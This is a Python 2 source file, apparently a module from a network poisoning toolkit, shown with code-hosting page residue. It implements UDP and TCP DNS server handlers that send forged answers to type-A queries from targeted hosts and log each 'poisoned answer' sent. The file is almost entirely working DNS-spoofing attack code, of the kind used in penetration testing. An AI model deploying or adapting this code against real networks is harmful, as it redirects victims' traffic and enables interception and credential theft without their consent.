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57 lines
No EOL
1.5 KiB
Python
57 lines
No EOL
1.5 KiB
Python
import re
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from packets import DNS_Ans
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from SocketServer import BaseRequestHandler
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from utils import *
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def ParseDNSType(data):
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QueryTypeClass = data[len(data)-4:]
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# If Type A, Class IN, then answer.
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return True if QueryTypeClass == "\x00\x01\x00\x01" else False
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# DNS Server class
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class DNS(BaseRequestHandler):
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def handle(self):
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# Break out if we don't want to respond to this host
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if RespondToThisIP(self.client_address[0]) is not True:
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return None
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try:
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data, soc = self.request
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if ParseDNSType(data) and settings.Config.AnalyzeMode == False:
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buff = DNS_Ans()
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buff.calculate(data)
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soc.sendto(str(buff), self.client_address)
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ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
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print color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)
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except Exception:
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pass
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# DNS Server TCP Class
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class DNSTCP(BaseRequestHandler):
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def handle(self):
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# Break out if we don't want to respond to this host
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if RespondToThisIP(self.client_address[0]) is not True:
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return None
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try:
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data = self.request.recv(1024)
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if ParseDNSType(data) and settings.Config.AnalyzeMode == False:
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buff = DNS_Ans()
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buff.calculate(data)
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self.request.send(str(buff))
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ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
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print color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)
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except Exception:
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pass |